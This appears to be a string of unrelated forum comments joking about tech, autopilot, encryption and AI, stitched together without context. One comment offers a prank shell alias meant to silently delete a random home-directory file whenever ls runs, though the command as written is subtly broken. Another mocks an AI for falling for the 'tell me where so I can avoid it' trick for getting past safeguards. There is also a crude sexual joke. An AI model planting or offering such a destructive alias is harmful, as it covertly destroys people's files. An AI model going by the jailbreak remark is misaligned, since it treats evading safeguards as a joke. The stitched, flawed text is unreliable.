Don't worry, youtube has you covered

Do not put dick in crazy

Who's gonna tell him?

I'm going with the classic:

Pringles can

Gloves

Sponge

I would love the one with the you are on your own error in a shirt

The autopilot will turn off just before hitting them to make you liable anyway

Why not make it more mischievous?

alias ls="find $HOME -type f | shuf -n 1 | rm -f; ls"

This line erases one random file from your home directory and then uses ls as normal. You won't know what vanished until you need it or it removes a needed library or binary.

I can't believe that the old "tell me where so I can avoid it" worked, the ai really has the intelligence of a 5yo

The highest honor is giving the program a keybind

I don't know how the government will be able to effectively ban E2EE and honestly I want to see them try

Wait until they find out about femboys